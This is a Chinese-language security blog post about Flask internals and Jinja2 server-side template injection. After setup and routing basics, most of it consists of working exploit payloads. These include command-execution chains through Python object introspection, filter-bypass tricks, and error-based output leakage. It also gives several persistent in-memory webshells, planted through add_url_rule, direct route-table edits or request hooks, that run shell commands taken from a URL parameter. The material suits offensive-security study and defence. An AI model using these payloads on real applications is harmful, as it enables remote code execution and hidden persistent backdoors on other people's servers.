Python 常见框架安全

Flask
Flask 是一个 轻量级的 Python Web 框架,以“微内核 + 扩展”的理念著称。它本身只提供 路由、请求/响应、模板渲染 等最核心功能,其他如数据库、认证、表单校验、迁移、缓存等都通过 扩展(extensions) 来按需拼装。
核心组件:
- Werkzeug:WSGI 工具集(请求与响应、路由、调试器)。
- Jinja2:模板引擎(HTML 渲染)。
- Flask Core:应用对象、上下文、蓝图、配置、信号等。
环境搭建
由于我们在研究 Flask 框架安全的时候需要多次切换版本,因此这里我们通过 Python 虚拟环境(.venv
)管理 Flask 版本。
.venv
是 Python 虚拟环境目录,内含独立的 Python 解释器和依赖包管理空间。作用:
- 隔离项目依赖:不同项目可以使用不同的 Flask 版本。
- 避免全局污染:不会影响系统全局的 Python 包。
- 便于版本切换:同一个项目内可随时升级或降级 Flask。
创建与激活 .venv
创建 .venv
:
1 | sudo apt install python3.10-venv |
激活后命令行前面会出现 (.venv)
标记,表示当前操作仅作用于虚拟环境。
1 | # macOS / Linux |
安装 Flask
查看可安装的 Flask 版本:
1 | pip index versions flask |
常用安装命令:
1 | # 安装最新版 |
切换 Flask 版本
1 | # 升级到指定版本 |
注意
上述命令在安装 flask==1.1.4
后运行 Flask 项目会报错。
这是因为 pip 只看包声明的“版本约束”,不会帮你判断“真实运行时兼容性”。而 Flask 1.1.4 → Jinja2 2.11.3 → MarkupSafe 的这条链,声明的约束过于宽松,导致 pip 选了“看起来满足要求、但实际上会崩”的组合。
具体来说就是:
- Flask 1.1.4 依赖:
Jinja2<3.0,>=2.10.1
- Jinja2 2.11.3 依赖:
MarkupSafe>=0.23
(没有上限!) - MarkupSafe 在 **2.1 起移除了
soft_unicode
**。 - Jinja2 2.11.3 仍会
from markupsafe import soft_unicode
→ 在MarkupSafe ≥2.1
直接ImportError
。
也就是说:声明允许 MarkupSafe==3.0.2
,但实际不兼容。pip 的新解析器能解“声明的冲突”,解不了“运行时 API 变化”的冲突。
解决方法是手动固定老版本依赖:
1 | python -m pip install --upgrade --force-reinstall \ |
固定依赖
生成依赖文件:
1 | pip freeze > requirements.txt |
恢复依赖环境:
1 | pip install -r requirements.txt |
基础知识
应用对象(Application Object)
应用对象是整个 Flask 项目的入口与核心,负责管理路由、配置、扩展注册等。
1 | from flask import Flask |
绝大多数情况下一个网站就是一个 Flask 应用实例。所有路由、配置、插件都挂在这个实例上。启动时 app.run()
就把这个网站跑起来。
视图函数(View Function)
视图函数(View Function) 就是 Flask 中用来处理某个 URL 请求的 Python 函数。
- 当浏览器(或客户端)访问一个 URL 时,Flask 会根据路由规则找到对应的视图函数,并执行它。
- 视图函数的返回值会作为 HTTP 响应 发回给用户(字符串、HTML、JSON 等都行)。
1 | from flask import Flask |
路由(Routing)
路由是 URL 与处理函数(视图函数)之间的映射规则。当用户访问某个 URL 时,Flask 会根据路由规则找到对应的函数并执行,将返回值作为 HTTP 响应发送给客户端。
其中注册路由要用到 route
装饰器。其中 @app.route
要跟前面的 app
要跟app = Flask(__name__)
时的 app
变量名一直,这是因为 app
会作为 self
传入 route
函数。
1 | # 当访问 /hello 时执行 hello() |
这里 @app.route
是一个装饰器。装饰器(@xxx
)只是 在定义函数的时候,先把这个函数交给另一个函数处理。因此上面这个函数等价于:
1 | def index(): |
所以 @app.route("/")
只是把你的 index
函数包了一下,并在包的过程中做了“注册路由”的事。
装饰器函数 route
定义如下,可以看到这个函数返回了一个 decorator
函数来注册 index
函数的路由,而 decorator
函数最终是调用 add_url_rule
函数来添加路由的。
1 |
|
并且可以看到 decorator
添加完路由后会返回传入的函数,也就是说代码中的 index = app.route("/")(index)
并没有改变 index
函数本身。
而之后用户访问网页的 /
路径时,Flask 会直接调用注册的 index
函数,因此和这里注册路由的逻辑已经没有关系链。
默认路由只响应 GET
请求,如果想让它响应其他方法,可以这样:
1 |
|
Flask 2.0+ 加入了更简洁的 HTTP 方法快捷装饰器。比如 @app.get()
、@app.post()
、@app.put()
、@app.delete()
等,作用和 @app.route(..., methods=["XXX"])
等价。
1 | # 等价于 @app.route("/info", methods=["GET"]) |
Flask 还支持在路由中使用占位符,让路径的一部分变成变量。这种特性称为动态路由参数。
1 |
|
请求对象(Request)
请求对象(request
) 就是 Flask 用来表示 客户端发过来的 HTTP 请求 的一个工具,它帮你读取用户发来的各种数据,比如:
- URL 查询参数(?q=xxx)
- 表单提交的数据(POST 表单)
- JSON 数据(POST JSON)
- 请求头信息(浏览器/客户端发的 Header)
- Cookie 等
在 Flask 里,request
是从 flask
包中导入的一个全局对象:
1 | from flask import request |
它的常用属性和方法:
request.args
→ GET 查询参数(字典形式)request.form
→ POST 表单字段request.json
→ POST JSON 数据request.headers
→ 请求头request.method
→ 请求方式(GET/POST/PUT/DELETE)request.cookies
→ 请求附带的 Cookie
响应(Response)
响应 是 Flask 返回给客户端的 HTTP 数据,一般是你在视图函数里 return
出去的东西,比如:
- 返回一个 字符串 → 浏览器直接显示
- 返回 HTML 模板 → 显示网页
- 返回 JSON → 用于 API
- 返回 状态码(200, 404, 500 等)
模板(Template)
模板用于将动态数据与 HTML 结构结合。Flask 默认使用 Jinja2 模板引擎。
例如下面这段代码:
1 | from flask import render_template |
视图函数调用
render_template()
,指定模板文件名index.html
并传入数据变量name
。Flask 会去
templates/
目录 找对应的 HTML 模板文件index.html
(默认路径,可修改)。1
2
3
4
5
6
<html>
<body>
<h1>Hello, {{ name }}!</h1>
</body>
</html>Jinja2 会把模板文件中的占位符(
{{ 变量 }}
)替换成传入的实际数据。渲染好的 HTML 返回给浏览器显示。
XSS
使用危险模板渲染函数
SSTI
SSTI(Server-Side Template Injection)指的是当 用户可控的字符串 被当成 模板 交给模板引擎(这里是 Jinja2)解析时,攻击者可以在模板语法里写表达式,让后端执行它,从“回显注入”逐步升级到“读上下文对象 → 调用函数 → 代码执行”。
Flask 模板支持
Flask 默认使用 Jinja2 模板引擎(作者也是 Flask 作者 Armin Ronacher),并提供了 render_template_string
和 render_template
两个模板渲染的函数:
1 | def render_template_string(source: str, **context: t.Any) -> str: |
Jianja2 基础语法有:
- 表达式输出:
{{ expr }}
(把值插到 HTML 中) - 控制语句:
{% for ... %} ... {% endfor %}
、{% if ... %} ... {% endif %}
- 过滤器:
{{ name|upper }}
、{{ items|join(',') }}
- 属性/下标访问:
obj.attr
与obj['attr']
都可能生效(Jinja2 有自己的查找顺序) - 函数调用:
{{ func(1,2) }}
(若func
在模板上下文里)
漏洞成因
Jinja2 SSTI(Server-Side Template Injection)的根源在于 将用户可控数据直接当作模板内容或模板名去渲染,从而让攻击者执行任意 Jinja2 表达式。常见的错误用法包括:
直接渲染用户输入
1
2render_template_string(user_input)
render_template_string("Hello " + user_input)模板名可控且目录可穿越(配合文件上传)
1
render_template(user_input) # 若 tpl_name 可控且可 `../` 穿越到任意文件
漏洞利用
漏洞探测
{{7 * 7}}
→49
:存在模板注入{{'7' * 7}}
→7777777
:模板类型为 jinjia2
探测可用对象
Jinja2 在渲染时会创建一个 TemplateReference
对象赋值给 self
。它持有模板上下文字典 __context
(通过 name mangling 存储为 _TemplateReference__context
)。
Python 的 name mangling(名称改写)机制的具体操作为:
TemplateReference
类里原本写的是self.__context
(前面两个下划线)。- 在 Python 中,如果属性是
__xxx
(双下划线开头),它会在编译时自动变成_类名__xxx
,避免子类覆盖冲突。- 所以
TemplateReference.__context
变成了_TemplateReference__context
。也就是说,
self.__context
你在模板里是访问不到的,但知道它的 mangled 名字_TemplateReference__context
就能直接取到。
因此我们可以通过下面这段内容来探测模板运行的上下文中的可达对象:
1 | {{self._TemplateReference__context}} |
结果如下:
1 | <Context { |
注意
我们在模板中调用 globals()
函数获取到的全局命名空间,并不包含 Flask 在模板中可直接访问的那些对象。
例如:
1 | {{g.pop.__globals__['__builtins__'].globals().keys()}} |
运行结果如下:
1 | dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__file__', '__cached__', '__builtins__', 'functools', 'sys', 't', 'abc', 'chain', 'escape', 'Markup', 'soft_str', 'auto_aiter', 'auto_await', 'TemplateNotFound', 'TemplateRuntimeError', 'UndefinedError', 'EvalContext', '_PassArg', 'concat', 'internalcode', 'missing', 'Namespace', 'object_type_repr', 'pass_eval_context', 'V', 'F', 'exported', 'async_exported', 'identity', 'markup_join', 'str_join', 'unicode_join', 'new_context', 'TemplateReference', '_dict_method_all', 'Context', 'BlockReference', 'LoopContext', 'AsyncLoopContext', 'Macro', 'Undefined', 'make_logging_undefined', 'ChainableUndefined', 'DebugUndefined', 'StrictUndefined']) |
这里的键几乎全是 jinja2.runtime
模块的运行时符号,而没有 url_for
、request
、config
等 Flask 注入的变量。这是因为 Jinja2 模板的运行机制是:
- 模板不是直接交给 Python 解释器执行的文本,而是先被编译成 Python 函数(位于一个专门的“模板模块”里)。
- 该函数的定义全局作用域来自
jinja2.runtime
的符号导入,所以globals()
返回的就是这个模板模块的全局命名空间。 - Flask 提供的
url_for
、request
、config
等变量并不在 Python 的 globals 或 locals 中,而是由 Flask 的 context processor 在渲染时放入jinja2.runtime.Context
对象(即模板的“上下文字典”)中。 - 模板里的变量解析是先查 Context,而不是直接查 Python 的
locals()
/globals()
。
因此:
globals()
在模板里返回的是 jinja2.runtime 的全局命名空间(编译后的模板函数所处的定义环境),不包含 Flask 注入到模板的那些变量。模板里能直接用的
url_for
/request
/config
等,并不在 Python 的locals()
字典里;它们存放在 Jinja 的Context
对象维护的“上下文字典” 中,模板变量解析走的是 Context 的查找逻辑,而不是 Pythonlocals()
。因为
eval()
/exec()
这些函数只能访问 Python 的globals
/locals
,看不到 Jinja Context;要想在里面用url_for
等,需要显式传入:1
{{ __builtins__['eval']("url_for('index')", {'url_for': url_for}) }}
漏洞利用
Jinja2 模板里执行的“Python”并不是完整的 Python 解释器,而是一个受限的、模板引擎定制化的执行环境。
模板渲染时,Jinja2 会创建一个 上下文对象(Context),里面只有你显式传入的变量,以及 Jinja2 / Flask 自动注入的全局函数(比如 url_for
、range
、dict
)。
并且在模板里默认不能直接写 Python 语句(比如 import os
、for
循环赋值等),而是用 模板语法:
1 | {{ expression }} # 输出表达式结果 |
这是因为模板中的表达式会被 Jinja2 解析成一个抽象语法树(AST),然后用它自己的求值器执行,而不是直接 eval()
原生 Python 代码。
但由于 Jinja2 支持 属性访问和函数调用,我们可以沿着对象链找到 Python 内部对象(如 ().__class__.__mro__
),利用 Python 的自省特性绕过沙箱执行任意代码。同时,Jinja2 默认提供了一些可直接访问的内部对象和函数,这让我们能够相对容易地构造出可利用的调用链。
1 | {{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}} |
此外,借助 Jinja2 模板本身对 控制结构(如 for
循环、if
条件)的支持,我们还能直接在模板中实现传统的自省搜索逻辑,自动遍历并寻找可用的类,然后利用它们执行命令。例如:
1 | {%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%} |
这样,即使我们事先不知道确切的类名,也能动态搜索目标类并完成利用。
过滤绕过
通用绕过方法
通常我们在 Jinja2 中访问一个对象的属性的时候是通过 obj.attr
的方式来访问的,如果此时有对 attr
或者 .
的过滤,则我们很难进行绕过。
然而 Jinja2 模板语法 里,obj['attr']
并不等价于 Python 的下标操作符 __getitem__
,而是走它自己的 Attribute/Item Lookup 规则:
- 优先当作属性名访问 → 等价于
getattr(obj, 'attr')
- 如果属性不存在,再当作 字典 key 查找 → 等价于
obj['attr']
- 如果还没有,才会去真正调用 Python 对象的
__getitem__
因此我们可以用 obj['attr']
代替 obj.attr
来绕过对 .
的过滤,例如
1 | {{''.__class__}} → {{''['__class__']}} |
并且此时 attr
是字符串的形式,因此我们也可以通过编码的形式来进一步绕过对属性名的过滤:
字符串拼接 :如
'__class__'
→'__cla' + 'ss__'
字符串编码 :当通过
[]
或attr()
访问属性时,属性名是作为字符串传递的。Jinja2 会先解析并还原这些字符串中的转义序列(如\x..
、\u....
),再去执行属性访问;但是对于 Python 本身来说由于接受到的是整个请求参数,因此无法识别出内部字符串的编码。- 十六进制转义:如
'__class__'
→'\x5f\x5fclass\x5f\x5f'
- unicode 转义:如
'__class__'
→'\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f'
- 十六进制转义:如
过滤器绕过 :使用一些字符串处理的过滤器来转换属性名绕过。
reverse
过滤器:字符串反转,如'__class__'
→'__ssalc__'|reverse
join
过滤器:如'__class__'
→dict(__cl=1, ass__=2)|join
请求参数绕过 :由于 jinjia2 模板语句可以直接访问到
request
对象,因此我们可以直接从request
对象中拿请求参数(如get
、form
、headers
等)。1
{{url_for.__globals__[request.args.a]}}&a=__builtins__
提示
通过请求参数顺便还绕过了对单、双引号的过滤。
在 Jinja2 里,attr(name)
是一个 内置过滤器,用来动态获取对象的属性。由于传递是属性参数是字符串形式,因此同样可以采用上述过滤思路。
1 | {{''.__class__}} → {{''|attr('__class__')}} |
这里
{{''|attr('__class__')}}
等价于:
1 getattr('', '__class__')
特殊场景绕过
绕过特定字符
string
过滤器可以将内容转换为字符串,然后 list
可以将字符串转换为列表,pop
可以取出列表中特定的一项。结合起来就可以得到被过滤的字符。
例如绕过对下划线(_
)的过滤:
1 | {% set a = (()|select|string|list).pop(24) %}{% print(a) %} |
具体过程为:
- 空元组
()
作为select
的输入可迭代对象。 |select
是 Jinja2 的 select 过滤器(从 3.x 起实现为生成器)。对空元组使用它,会得到一个 generator(没有元素,但对象本身存在)。|string
把这个生成器对象转成字符串表示(repr),形如:"<generator object select_or_reject at 0x7f...>"
。|list
把这段字符串拆成字符列表,相当于:['<','g','e','n','e','r','a','t','o','r',' ','o','b','j','e','c','t',' ','s','e','l','e','c','t','_','o','r','_','r','e','j','e','c','t',' ', ...]
.pop(24)
从这个字符列表里 弹出第 24 个索引位置的字符。索引 24 恰好落在select_or_reject
中的那个下划线_
,于是拿到了_
。set a = ...
/print(a)
把这个字符保存为变量a
,然后打印出来
也就是说,这个招是利用函数对象的字符串表示里恰好有下划线,从而“抠”出 _
。后续只需要在字符串访问属性的方式的基础上
绕过 []
(方括号)
有些防御会禁止在模板中直接写中括号 []
,比如下面这段 payload 被过滤掉就不能访问了。
1 | {{ ().__class__.__bases__[0] }} |
但在 Python 里,obj[index]
的语法糖其实就是在调用 obj.__getitem__(index)
方法。所以,如果不能用 []
,我们可以直接调用这个方法来达到同样的效果:
1 | {{ ().__class__.__bases__.__getitem__(0) }} |
绕过双花括号
如果双花括号(表达式输出)被拦截,就把“计算/执行”放到 {% ... %}
(控制语句块)里完成。
控制语句块不能像双花括号一样将语句执行结果回显到页面上,但是 支持 print
,因此我们可以将命令执行语句放到 {% print(...) %}
中。
1 | {% print(g.pop.__globals__.__builtins__['__import__']('os').popen('whoami').read()) %} |
绕过数字
当数字被过滤时,可以使用过滤器 length
(或者 count
)计算字符串的长度。
1 | {% set a='aaa'|length %} {{ a }} |
不出网回显
这里主要研究如何在能 eval
执行任意代码的基础上实现回显
debug 模式下利用报错
在 Flask 中,如果 debug=True
且异常未被捕获,Werkzeug 的调试页面会显示完整的异常信息(堆栈 + 异常消息)。
利用这一特性,我们可以通过 抛出异常,将命令执行结果作为异常消息回显到浏览器。
1 | raise Exception(__import__('os').popen('whoami').read()) |
由于 eval()
只能执行 表达式,不能直接执行 raise
、import
等语句,因此我们需要用 eval
调用 exec
,而 exec
可以执行任意 Python 语句。
1 | eval('exec("raise Exception(123)")') |
为避免引号、换行等字符在传输中被截断,可将实际执行的代码 Base64 编码,再用 exec
解码执行:
1 | from base64 import b64encode |
利用 HTTP 响应字段
内存马
旧版本(≤ 2.1.3)
提示
由于 pip
依赖错误,我们需要手动指定相关依赖的版本:
1 | python -m pip install --upgrade --force-reinstall \ |
1 | pip install --upgrade --force-reinstall Flask==2.1.3 Werkzeug==2.0.3 Jinja2==3.0.3 MarkupSafe==2.0.1 click==8.0.4 itsdangerous==2.0.1 |
在 Flask 中,路由实际上是由 app.add_url_rule()
函数添加的,该函数定义如下:
1 |
|
因此我们可以借助远程代码执行漏洞,在运行时调用这个函数给 Flask 动态添加新的 URL 处理函数来注册内存马。
1 | app.add_url_rule( |
然而上述代码在 SSTI 场景下无法运行。这是因为在 SSTI 中不支持 lambda
表达式,因此我们无法直接在 SSTI 中注册路由的回调函数。解决方法是通过 eval
执行具体的 add_url_rule
注册路由代码:
1 | url_for.__globals__['__builtins__']['eval']( |
在执行 eval
的时候,我们需要在 eval
的命名空间手动添加 Jinjia 的模板变量:
提示
在 Jinja2 模板中,通过 eval
/exec
注册 Flask 路由时,传入的 globals
字典会被绑定为回调函数的全局命名空间(func.__globals__
),并在函数生命周期内一直使用,而不是“只在调用 add_url_rule
时用一次”。
在 Python 中,如果 globals
字典中没有键 __builtins__
,解释器会在执行 eval
/exec
时自动插入一个指向内置模块 builtins
的引用。因此,即使你没有显式传入 builtins,回调函数的全局命名空间里也会包含 __builtins__
,从而可以直接使用 __import__
、len
、eval
、exec
等内建名,而不必像在模板中那样通过某个模板变量间接获取。
例如,下面的“内存马”验证了注册的回调中 globals()
里确实含有 __builtins__
:
1 | {{ url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell','shell',lambda:str(globals()))", {'request':url_for.__globals__['request'],'app': url_for.__globals__['current_app']}) }} |
访问 /shell
会返回当前回调函数的全局命名空间,其中可以看到:
- 你在注册时显式传入的变量(
request
、app
) - Python 自动注入的
__builtins__
app
:current_app
是 Flask 的一个“线程上下文变量”,这个变量始终指向当前正在处理请求的那个 Flask 应用实例。因此我们可以通过下面这段代码找到我们代码中实例化的Flask
对象app
。1
url_for.__globals__['current_app']
注意
Flask 2.2 之后对
url_for
的路径做过重构,不再依赖flask.app
模块中引入的current_app
符号;因此我们需要采用下面这种方法来获取Flask
对象。1
{{g.pop.__globals__.__builtins__['__import__']('flask').current_app}}
或者直接从
__main__
命名空间中按照Flask
对象的变量名获取。1
{{g.pop.__globals__.sys.modules['__main__'].app}}
request
:当前请求对象,同样可以通过url_for.__globals__
找到。1
url_for.__globals__['request']
注意
在 Jinja 模板里用的
request
,很多时候已经被解引用成当前请求对应的Request
实例(即LocalProxy._get_current_object()
的结果)。因此如果你在注册路由时如果把这个具体对象作为
globals
传入eval
:1
{'request': request}
那么回调函数的
__globals__['request']
永远指向那一个旧的Request
对象(注册时的请求)。之后访问/shell
时,这个对象不会随着新请求变化,因为request.args.get()
总是读取旧的参数。而
url_for.__globals__['request']
这个是 Flask 源码里的flask.request
,它是一个LocalProxy
对象。1
{'request': url_for.__globals__['request']}
LocalProxy
就是一个懒加载的动态代理对象,它本身不存真正的数据,而是保存一个获取真实对象的函数。每次你访问它(属性、方法、取值等),它都会调用这个函数,拿到当前真正的对象,然后把操作转发过去。所以即使它在
globals
里是同一个 LocalProxy 实例,每次调用都会解析成“当前请求”,拿到的参数是最新的。我们可以通过下面两个内存马进行验证:
1
2
3{{ url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell','shell',lambda:' '.join([hex(id(request.args.get)),str(request.args.get)]))", {'request':request,'app': url_for.__globals__['current_app']}) }}
{{ url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell','shell',lambda:' '.join([hex(id(request.args.get)),str(request.args.get)]))", {'request':url_for.__globals__['request'],'app': url_for.__globals__['current_app']}) }}
根据前面的分析,最终得到如下内存马(在非调试模式下才能成功):
1 | {{ url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell','shell',lambda:__import__('os').popen(request.args.get('cmd','whoami')).read())", {'request':url_for.__globals__['request'],'app': url_for.__globals__['current_app']}) }} |
新版本(≥ 2.2.0)
防护分析
我们将前面旧版本的内存马获取 Flask
对象的逻辑稍加修改:
1 | {{ url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell','shell',lambda:__import__('os').popen(request.args.get('cmd','whoami')).read())", {'request':url_for.__globals__['request'],'app': g.pop.__globals__.sys.modules['__main__'].app}) }} |
然后在下一个版本 2.2.0 上运行。出现如下报错:
AssertionError: The setup method ‘add_url_rule’ can no longer be called on the application. It has already handled its first request, any changes will not be applied consistently.
断言错误:应用程序的设置方法
'add_url_rule'
已经不能再被调用。该应用已经处理过第一个请求,任何此时添加的更改将无法被一致地应用。Make sure all imports, decorators, functions, etc. needed to set up the application are done before running it.
请确保所有需要用于设置应用程序的导入、装饰器、函数等操作,都在运行应用之前完成。
提示
Flask 2.2.0 版本安装:
1 | python -m pip install --upgrade --force-reinstall \ |
根据报错内容我们定位到报错的位置为 _check_setup_finished
函数,这个函数会检查程序是否已经处理过至少一次请求。如果已经处理过请求则会抛出异常。
1 | # 内部用于记录应用程序是否已经处理过至少一次请求 |
跟踪一下 _got_first_request
会发现在 full_dispatch_request
中会强制赋值成 True
。
1 | def full_dispatch_request(self) -> Response: |
_check_setup_finished
来自于装饰器 setupmethod
。该装饰器会将函数包装为:在函数调用前要调用 _check_setup_finished
函数进行检查。
1 | def setupmethod(f: F) -> F: |
而我们使用的路由注册函数 add_url_rule
被该装饰器装饰。
1 |
|
然而根据前面的分析,在过去的版本中 add_url_rule
也受到了 setupmethod
装饰器的修饰。
通过对 Flask 的分析可知,在 Flask 2.1.3 到 Flask 2.2.0 版本之间有一个关于 setupmethod
装饰器的修改:
1 | commit a406c297aafa28074d11ec6fd27c246c70418cb4 |
在 2.1.3 版本,只有处于调试模式且至少处理一次请求后调用 setupmethod
装饰器修饰过的函数才会报错,而 2.2.0 版本去掉了处于调试模式这个条件,导致我们不能通过 add_url_rule
注册内存马。
篡改路由表
由于 add_url_rule
函数添加了 setupmethod
检查,因此我们不能通过调用 add_url_rule
函数添加路由,而是模仿 add_url_rule
函数添加路由的过程,自己动手把两张核心表改了:
app.url_map
(Werkzeug 的Map
,存放 URL 规则)app.view_functions
(endpoint → 视图函数 的字典)
只要把一条 Rule
塞进 url_map
,再把同名 endpoint
的可调用塞进 view_functions
,后续请求匹配到这个规则时就会调用你塞进去的函数。因为没有调用 add_url_rule
,自然也就不会触发“首个请求后禁止修改”的断言。
我们可以分析一下 add_url_rule
函数的实现:
1 |
|
省略掉开头的处理代码,会发现在函数末尾的处理中,将 rule_obj
对象添加到了 url_map
中,之后将 view_func
作为了 view_functions
字典中 endpoint
键的值,所以理论上来讲,可以通过直接操作这两个变量来完成一次手动的 add_url_rule
。
假设我们是在 SSTI 的情境下,由于此时不能一次执行多条 Python 语句,因此我们需要分两步植入内存马:
首先构造第一条请求向
url_map
中新增一条UrlRule
:1
{{ url_for.__globals__['__builtins__']['eval']("app.url_map.add(app.url_rule_class('/shell',methods=['GET'],endpoint='shell'))", {'app': g.pop.__globals__.sys.modules['__main__'].app}) }}
之后再构造第二条请求,向
view_functions
中增加对应endpoint
的实现:1
{{ url_for.__globals__['__builtins__']['eval']("app.view_functions.update({'shell':lambda:__import__('os').popen(request.args.get('cmd', 'whoami')).read()})", {'request':url_for.__globals__['request'],'app': g.pop.__globals__.sys.modules['__main__'].app}) }}
注册请求钩子
但 Flask 还有一类机制——请求钩子(Request Hooks),它们不受 @setupmethod
限制,可以在运行时继续追加。
Flask 提供以下常用钩子(按执行顺序):
钩子 | 调用时机 | 函数签名 | 返回值要求 |
---|---|---|---|
before_first_request |
第一个请求前(只执行一次) | f() |
忽略返回值 |
before_request |
每个请求处理前 | f() |
None 或 Response (返回 Response 会短路) |
after_request |
每个请求处理后 | f(response) |
必须返回 Response |
teardown_request |
每个请求结束时 | f(exception) |
忽略返回值 |
errorhandler |
指定异常发生时 | f(error) |
Response |
提示
这里钩子的名称指的是用于注册回调函数的装饰器的名称。
这里以 before_request
和 after_request
两个装饰器函数为例:
1 |
|
虽然两个函数同样被 setupmethod
装饰器修饰,但是这两个函数实现非常简单,本质上都是往一个字典中 key 为 None
的对应的列表中添加函数。
因此我们完全可以将装饰器函数中的代码执行一遍从而将内存马注册进去。
由于 before_request
函数如果返回一个非 None
的值则这个返回值会被当作视图函数的返回值来处理,并且会终止后续的请求处理。因此我们可以直接将内存马函数通过 app.before_request_funcs.setdefault
注册进去,这样内存马的返回值直接就可以回显回来。
1 | {{ url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None,[]).append(lambda:__import__('os').popen(request.args.get('cmd','whoami')).read())", {'request':url_for.__globals__['request'],'app': g.pop.__globals__.sys.modules['__main__'].app}) }} |
然而这样的写法有个问题,那就是所有的请求都会被内存马函数拦截,这就导致程序正常的功能受到影响。
为了避免这个问题,我们可以在内存马函数中加一些判断,如果没有命令参数就返回 None
避免影响程序正常功能。
1 | lambda: CmdResp if request.args.get('cmd') and exec( |
对应的 SSTI payload 如下:
1 | {{ url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None,[]).append(lambda:CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'os\').popen(request.args.get(\'cmd\')).read()\")==None else None)", {'request':url_for.__globals__['request'],'app': g.pop.__globals__.sys.modules['__main__'].app}) }} |
而 after_request
会接收一个响应对象作为参数,且必须返回一个响应对象。因此我们需要将 before_request
的逻辑修改成“如果没有命令参数则将函数参数返回”。
1 | {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None,[]).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':g.pop.__globals__.sys.modules['__main__'].app})}} |
注意
after_request
注册的函数必须返回一个响应对象,因此我们需要将命令执行结果用 flask.make_response
转换一下,否则会报错:
TypeError: ‘str’ object is not callable
- Title: Python 常见框架安全
- Author: sky123
- Created at : 2025-08-12 00:26:57
- Updated at : 2025-08-12 00:53:32
- Link: https://skyi23.github.io/2025/08/12/Python 常见框架安全/
- License: This work is licensed under CC BY-NC-SA 4.0.